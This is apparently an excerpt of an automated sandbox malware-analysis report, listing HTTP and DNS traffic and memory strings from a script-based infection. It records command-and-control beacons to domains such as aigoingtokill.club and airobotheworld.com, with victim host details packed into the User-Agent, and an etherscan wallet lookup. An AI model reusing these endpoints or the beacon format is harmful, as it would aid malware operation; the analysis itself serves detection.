Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /api?module=account&action=txlist&address=0x05124f85d88c86880fda0dde8ced46acbe01c926 HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedAccept-Language: en-chAccept-Encoding: gzip, deflateHost: api.etherscan.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api?module=account&action=txlist&address=0x05124f85d88c86880fda0dde8ced46acbe01c926 HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedUA-CPU: AMD64Accept-Encoding: gzip, deflateHost: api.etherscan.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ctrl/url.html HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedAccept-Language: en-chAccept-Encoding: gzip, deflateHost: a1.airobotheworld.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ctrl/url.html HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedUA-CPU: AMD64Accept-Encoding: gzip, deflateHost: a1.airobotheworld.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ctrl/url.html HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedAccept-Language: en-chAccept-Encoding: gzip, deflateHost: aigoingtokill.aigoingtokill.clubConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ctrl/url.html HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedUA-CPU: AMD64Accept-Encoding: gzip, deflateHost: aigoingtokill.aigoingtokill.clubConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api?module=account&action=txlist&address=0x05124f85d88c86880fda0dde8ced46acbe01c926 HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedAccept-Language: en-chAccept-Encoding: gzip, deflateHost: api.etherscan.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ctrl/playback.php HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedAccept-Language: en-chAccept-Encoding: gzip, deflateHost: 1.1.1.1Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ctrl/playback.php HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedAccept-Language: en-chAccept-Encoding: gzip, deflateHost: 1.1.1.1Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api?module=account&action=txlist&address=0x05124f85d88c86880fda0dde8ced46acbe01c926 HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedUA-CPU: AMD64Accept-Encoding: gzip, deflateHost: api.etherscan.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ctrl/playback.php HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedAccept-Language: en-chAccept-Encoding: gzip, deflateHost: 1.1.1.1Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ctrl/playback.php HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedAccept-Language: en-chAccept-Encoding: gzip, deflateHost: a1.airobotheworld.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ctrl/playback.php HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedUA-CPU: AMD64Accept-Encoding: gzip, deflateHost: 1.1.1.1Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ctrl/playback.php HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedUA-CPU: AMD64Accept-Encoding: gzip, deflateHost: 1.1.1.1Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ctrl/playback.php HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedUA-CPU: AMD64Accept-Encoding: gzip, deflateHost: 1.1.1.1Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ctrl/playback.php HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedUA-CPU: AMD64Accept-Encoding: gzip, deflateHost: a1.airobotheworld.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ctrl/playback.php HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedAccept-Language: en-chAccept-Encoding: gzip, deflateHost: a1.aigoingtokill.clubConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ctrl/playback.php HTTP/1.1Accept: /User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|>If-Modified-Since: 0Content-Type: application/x-www-form-urlencodedUA-CPU: AMD64Accept-Encoding: gzip, deflateHost: a1.aigoingtokill.clubConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.etherscan.io
Source: global traffic	DNS traffic detected: DNS query: a1.airobotheworld.com
Source: global traffic	DNS traffic detected: DNS query: a1.6cs6.club
Source: global traffic	DNS traffic detected: DNS query: a1.airobotheworld.tk
Source: global traffic	DNS traffic detected: DNS query: a2.6cs6.club
Source: global traffic	DNS traffic detected: DNS query: aigoingtokill.aigoingtokill.club
Source: global traffic	DNS traffic detected: DNS query: rocknroll.aigoingtokill2.club
Source: global traffic	DNS traffic detected: DNS query: 1.1.1.1.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: a1.aigoingtokill.club

Source: wscript.exe, 00000005.00000002.2590413884.0000000004F8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://1.1.1.1/ctrl/playback.php
Source: svchost.exe, 00000007.00000002.2593524856.000001FE058B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS
Source: svchost.exe, 00000007.00000002.2588592627.000001FE048A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS%3C/ds:KeyName%3E%3C/ds:KeyInfo%3E%3CCipherData%3E%3CCipherValue%3EM.C503_BAY
Source: svchost.exe, 00000007.00000002.2591542733.000001FE0516C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1672079300.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledX
Source: svchost.exe, 00000007.00000003.1563080858.000001FE0516C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
Source: svchost.exe, 00000007.00000003.1482434158.000001FE05840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2593710248.000001FE058BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb_
Source: svchost.exe, 00000007.00000002.2593710248.000001FE058BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb_ical
Source: wscript.exe, 00000005.00000002.2590413884.0000000004F8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.6cs6.club/ctrl/playback.phpOrBDmIoMylxZ==KjIYYhGfEdCbYYA012YY345YY67YY8YY9
Source: wscript.exe, 00000005.00000002.2589936237.0000000004EC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.6cs6.club/ctrl/url.html
Source: wscript.exe, 00000005.00000002.2589936237.0000000004EC7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.aigoingtokill.club/
Source: wscript.exe, 00000005.00000002.2593429283.0000000005CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.aigoingtokill.club/$
Source: wscript.exe, 00000005.00000002.2589936237.0000000004EC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.aigoingtokill.club/4
Source: wscript.exe, 00000005.00000002.2585673494.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.aigoingtokill.club/45
Source: wscript.exe, 00000005.00000002.2590413884.0000000004F34000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2587880690.0000000004810000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2590413884.0000000004F9A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.aigoingtokill.club/ctrl/playback.php
Source: wscript.exe, 00000005.00000002.2591779119.0000000005143000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.aigoingtokill.club/ctrl/playback.php/W
Source: wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.aigoingtokill.club/ctrl/playback.php8
Source: wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.aigoingtokill.club/ctrl/playback.phpG
Source: wscript.exe, 00000005.00000002.2591779119.0000000005143000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.aigoingtokill.club/ctrl/playback.phpeU
Source: wscript.exe, 00000005.00000002.2590413884.0000000004F8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.aigoingtokill.club/ctrl/playback.phped.
Source: wscript.exe, 00000005.00000002.2590413884.0000000004F8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.aigoingtokill.club/ctrl/playback.phphBcOrBDmIoMylxZ==e.
Source: wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.aigoingtokill.club/ctrl/playback.phpp
Source: wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.aigoingtokill.club/o
Source: wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.airobotheworld.com/
Source: wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.airobotheworld.com/92FD9E653A231FA226A4F8402BC
Source: wscript.exe, 00000005.00000002.2587880690.0000000004810000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.airobotheworld.com/ctrl/playback.php
Source: wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.airobotheworld.com/ctrl/playback.php-
Source: wscript.exe, 00000005.00000002.2590413884.0000000004F8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.airobotheworld.com/ctrl/playback.phphBcOrBDmIoMylxZ==
Source: wscript.exe, 00000005.00000002.2585673494.0000000000608000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.1642570570.0000000004824000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.airobotheworld.com/ctrl/url.html
Source: wscript.exe, 00000005.00000002.2585673494.0000000000608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.airobotheworld.com/ctrl/url.htmlOY
Source: wscript.exe, 00000005.00000002.2585673494.0000000000608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.airobotheworld.tk/ctrl/url.html
Source: wscript.exe, 00000005.00000002.2591779119.0000000005143000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a1.airobotheworld.tk/ctrl/url.htmlF
Source: wscript.exe, 00000005.00000002.2585673494.0000000000608000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2589936237.0000000004EC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a2.6cs6.club/ctrl/url.html
Source: wscript.exe, 00000005.00000002.2589936237.0000000004EC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a2.6cs6.club/ctrl/url.htmls
Source: wscript.exe, 00000005.00000002.2591779119.0000000005143000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2585673494.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aigoingtokill.aigoingtokill.club/ctrl/url.html
Source: wscript.exe, 00000005.00000002.2593429283.0000000005C88000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2591779119.0000000005143000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2589936237.0000000004EC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.etherscan.io/api?module=account&action=txlist&address=0x05124f85d88c86880fda0dde8ced46acb
Source: svchost.exe, 00000003.00000002.2594789943.00000163ED400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1389700268.000001FE048EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2589459618.000001FE048E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000007.00000003.1672079300.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1618835824.000001FE05133000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 00000007.00000003.1672026114.000001FE0516E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds
Source: svchost.exe, 00000007.00000003.1672079300.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1618835824.000001FE05133000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 00000007.00000003.1404449197.000001FE0515B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdh
Source: svchost.exe, 00000007.00000002.2594220331.000001FE058D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID
Source: svchost.exe, 00000003.00000003.1315616556.00000163ED1A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: svchost.exe, 00000007.00000002.2593168648.000001FE05881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://passport.net/tb
Source: wscript.exe, 00000005.00000002.2590413884.0000000004F8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rocknroll.aigoingtokill2.club/ctrl/url.html
Source: svchost.exe, 00000007.00000002.2591416513.000001FE0515F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1482434158.000001FE05840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: svchost.exe, 00000007.00000002.2591231132.000001FE05137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 00000007.00000002.2594431996.000001FE05902000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2591657209.000001FE0516F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 00000007.00000002.2591231132.000001FE05137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: svchost.exe, 00000007.00000002.2594431996.000001FE05902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
